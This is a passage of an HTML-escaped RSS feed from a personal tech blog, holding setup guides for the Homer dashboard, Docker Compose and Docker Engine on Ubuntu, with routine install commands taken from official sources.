&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;icon&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;fas fa-cloud&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# A path to an image can also be provided. Note that icon take precedence if both icon and logo are set&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;items&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Awesome app&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;logo&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;assets/tools/sample.png&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Alternatively a fa icon can be provided:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# icon: &amp;#34;fab fa-jenkins&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;subtitle&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Bookmark example&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;tag&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;app&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;url&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;https://www.reddit.com/r/selfhosted/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;target&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;_blank&amp;#34;&lt;/span&gt; &lt;span style="color:#75715e"&gt;# optional html a tag target attribute&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Another one&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;logo&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;assets/tools/sample2.png&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;subtitle&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Another application&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;tag&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;app&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# tagstyle: &amp;#34;is-success&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;url&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;#&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# class: &amp;#34;green&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# background: red&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# target: &amp;#34;_blank&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="homer-structure"&gt;
Homer Structure
&lt;a href="#homer-structure" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ tree -d homer
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;homer/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└── assets
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ├── icons
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; └── tools
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="add-icons---logos"&gt;
Add Icons - Logos
&lt;a href="#add-icons---logos" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="icons"&gt;
Icons
&lt;a href="#icons" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;We can add icons from &lt;a href="https://fontawesome.com"&gt;Font Awesome&lt;/a&gt;. Just browse the site for the icon you want and in the &lt;code&gt;icon&lt;/code&gt; element the class of the icon.&lt;/p&gt;
&lt;p&gt;For example for the &lt;a href="https://fontawesome.com/v5.15/icons/cloud?style=solid"&gt;cloud icon&lt;/a&gt;, we have:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yml" data-lang="yml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;icon&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;fas fa-cloud&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="logos"&gt;
Logos
&lt;a href="#logos" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;To add our own logos, create a separate directory in &lt;code&gt;assets&lt;/code&gt; for the logo images:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mkdir homer/assets/logos
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Place a logo, for example a &lt;a href="https://wordpress.org/about/logos/"&gt;Wordpress logo&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wget https://s.w.org/style/images/about/WordPress-logotype-wmark.png
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mv WordPress-logotype-wmark.png ~/homer/assets/logos/logo-BRAND.png
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="stop--delete-homer"&gt;
Stop &amp;amp; Delete Homer
&lt;a href="#stop--delete-homer" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;If we want to start over, or just delete &lt;code&gt;Homer&lt;/code&gt; we can do this easily by first stopping the container and deleting the local &lt;code&gt;assets&lt;/code&gt; directory.&lt;/p&gt;
&lt;p&gt;Find the &lt;code&gt;ID&lt;/code&gt; of the container using:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker ps -a
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now stop the container using the &lt;code&gt;ID&lt;/code&gt; you found:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker stop ID
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And delete the local &lt;code&gt;assets&lt;/code&gt; directory:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo rm -rf ~/homer/assets
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/bastienwirtz/homer"&gt;Homer - GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/bastienwirtz/homer/blob/main/docs/configuration.md"&gt;Homer - Configuration&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/bastienwirtz/homer/blob/main/docs/tips-and-tricks.md"&gt;Homer - Tips &amp;amp; Tricks&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Docker Compose Install</title><link>https://thanoskoutr.com/posts/docker-compose-install/</link><pubDate>Fri, 11 Jun 2021 17:04:24 +0300</pubDate><guid>https://thanoskoutr.com/posts/docker-compose-install/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/docker-compose.png"/&gt;
&lt;p&gt;Install and Configure &lt;a href="https://docs.docker.com/compose/"&gt;Docker Compose&lt;/a&gt; for Ubuntu. This guide assumes, that &lt;a href="https://thanoskoutr.com/posts/docker-install/"&gt;Docker is already installed in your system&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Compose is a tool for defining and running multi-container Docker applications. We can use Compose to create and start all services with one command from a single configuration YAML file.&lt;/p&gt;
&lt;p&gt;It is a great tool to have a minimal orchestration of Docker containers, without adding the complexity that other tools have, like &lt;a href="https://kubernetes.io/"&gt;Kubernetes&lt;/a&gt; and &lt;a href="https://docs.docker.com/engine/swarm/"&gt;Docker Swarm&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="installation"&gt;
Installation
&lt;a href="#installation" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="prerequisites"&gt;
Prerequisites
&lt;a href="#prerequisites" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;To install Docker Compose you need to make sure you have Docker Engine installed, follow the previous guide on &lt;a href="https://thanoskoutr.com/posts/docker-install/"&gt;Installing Docker on Ubuntu&lt;/a&gt;, to continue with this guide.&lt;/p&gt;
&lt;h3 id="install-compose"&gt;
Install Compose
&lt;a href="#install-compose" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Run this command to download the current stable release of Docker Compose:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo curl -L &lt;span style="color:#e6db74"&gt;&amp;#34;https://github.com/docker/compose/releases/download/1.29.2/docker-compose-&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;uname -s&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;&lt;span style="color:#e6db74"&gt;-&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;uname -m&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt; -o /usr/local/bin/docker-compose
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Apply executable permissions to the binary:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo chmod +x /usr/local/bin/docker-compose
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="post-installation"&gt;
Post-installation
&lt;a href="#post-installation" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="command-line-completion"&gt;
Command-line completion
&lt;a href="#command-line-completion" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Compose comes with command completion for the bash and zsh shell. We will show how to enable for both bash and zsh.&lt;/p&gt;
&lt;h4 id="bash"&gt;
Bash
&lt;a href="#bash" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;Place the completion script in &lt;code&gt;/etc/bash_completion.d/&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo curl &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -L https://raw.githubusercontent.com/docker/compose/1.29.2/contrib/completion/bash/docker-compose &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -o /etc/bash_completion.d/docker-compose
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Reload your settings in your current terminal with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;source ~/.bashrc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="zsh"&gt;
Zsh
&lt;a href="#zsh" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;Make sure you have installed &lt;a href="https://ohmyz.sh/"&gt;oh-my-zsh&lt;/a&gt; on your computer. You can follow the &lt;a href="https://thanoskoutr.com/posts/zsh-configure/"&gt;ZSH configuration guide&lt;/a&gt; in order to do that.&lt;/p&gt;
&lt;p&gt;Add &lt;code&gt;docker&lt;/code&gt; and &lt;code&gt;docker-compose&lt;/code&gt; to the plugins list in &lt;code&gt;~/.zshrc&lt;/code&gt; to run autocompletion within the oh-my-zsh shell:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;plugins&lt;span style="color:#f92672"&gt;=(&lt;/span&gt;... docker docker-compose&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Reload your settings in your current terminal with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;source ~/.zshrc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For shell completion &lt;em&gt;without oh-my-zsh&lt;/em&gt;, follow the &lt;a href="https://docs.docker.com/compose/completion/#zsh"&gt;official docker guide&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.docker.com/compose/install/"&gt;Docker - Install Docker Compose&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.docker.com/compose/completion/"&gt;Docker - Command-line completion&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Docker Install</title><link>https://thanoskoutr.com/posts/docker-install/</link><pubDate>Fri, 11 Jun 2021 16:04:24 +0300</pubDate><guid>https://thanoskoutr.com/posts/docker-install/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/docker.png"/&gt;
&lt;p&gt;Install and Configure Docker for Ubuntu.&lt;/p&gt;
&lt;h2 id="installation"&gt;
Installation
&lt;a href="#installation" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="prerequisites"&gt;
Prerequisites
&lt;a href="#prerequisites" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;To install Docker Engine, you need the 64-bit version of one of these Ubuntu versions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ubuntu Hirsute 21.04&lt;/li&gt;
&lt;li&gt;Ubuntu Groovy 20.10&lt;/li&gt;
&lt;li&gt;Ubuntu Focal 20.04 (LTS)&lt;/li&gt;
&lt;li&gt;Ubuntu Bionic 18.04 (LTS)&lt;/li&gt;
&lt;li&gt;Ubuntu Xenial 16.04 (LTS)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="uninstall-old-versions"&gt;
Uninstall old versions
&lt;a href="#uninstall-old-versions" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Older versions of Docker were called docker, docker.io, or docker-engine. If these are installed, uninstall them:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt-get remove docker docker-engine docker.io containerd runc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="set-up-the-repository"&gt;
Set up the repository
&lt;a href="#set-up-the-repository" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Update the apt package index and install packages to allow apt to use a repository over HTTPS:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt-get update
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt-get install &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; apt-transport-https &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ca-certificates &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; curl &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; gnupg &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; lsb-release
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Add Docker’s official GPG key:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Use the following command to set up the stable repository for &lt;code&gt;x86_64&lt;/code&gt; Ubuntu versions:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; &lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;lsb_release -cs&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;&lt;span style="color:#e6db74"&gt; stable&amp;#34;&lt;/span&gt; | sudo tee /etc/apt/sources.list.d/docker.list &amp;gt; /dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="install-docker-engine"&gt;
Install Docker Engine
&lt;a href="#install-docker-engine" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Update the apt package index, and install the latest version of Docker Engine and containerd:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt-get update
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt-get install docker-ce docker-ce-cli containerd.io
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Verify that Docker Engine is installed correctly by running the hello-world image:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo docker run hello-world
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;em&gt;This command downloads a test image and runs it in a container. When the container runs, it prints an informational message and exits.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Docker Engine is installed and running. The docker group is created but no users are added to it. You need to use sudo to run Docker commands. Continue to allow non-privileged users to run Docker commands.&lt;/p&gt;
&lt;h2 id="post-installation"&gt;
Post-installation
&lt;a href="#post-installation" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;This section contains optional procedures for configuring Linux hosts to work better with Docker.&lt;/p&gt;
&lt;h3 id="manage-docker-as-a-non-root-user"&gt;
Manage Docker as a non-root user
&lt;a href="#manage-docker-as-a-non-root-user" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;The Docker daemon binds to a Unix socket instead of a TCP port. By default that Unix socket is owned by the user &lt;code&gt;root&lt;/code&gt; and other users can only access it using &lt;code&gt;sudo&lt;/code&gt;. The Docker daemon always runs as the &lt;code&gt;root&lt;/code&gt; user.&lt;/p&gt;
&lt;p&gt;If you don’t want to preface the &lt;code&gt;docker&lt;/code&gt; command with &lt;code&gt;sudo&lt;/code&gt;, create a Unix group called &lt;code&gt;docker&lt;/code&gt; and add users to it. When the Docker daemon starts, it creates a Unix socket accessible by members of the &lt;code&gt;docker&lt;/code&gt; group.&lt;/p&gt;
&lt;p&gt;After the installation usually the &lt;code&gt;docker&lt;/code&gt; group is created, but no users are added. To check the existence of the &lt;code&gt;docker&lt;/code&gt; group run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;getent group docker
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you do not see any output, create it with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo groupadd docker
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Add your user to the &lt;code&gt;docker&lt;/code&gt; group:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo usermod -aG docker $USER
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Log out and log back in so that your group membership is re-evaluated, or run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;newgrp docker
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Verify that you can run docker commands without &lt;code&gt;sudo&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker run hello-world
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="configure-docker-to-start-on-boot"&gt;
Configure Docker to start on boot
&lt;a href="#configure-docker-to-start-on-boot" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
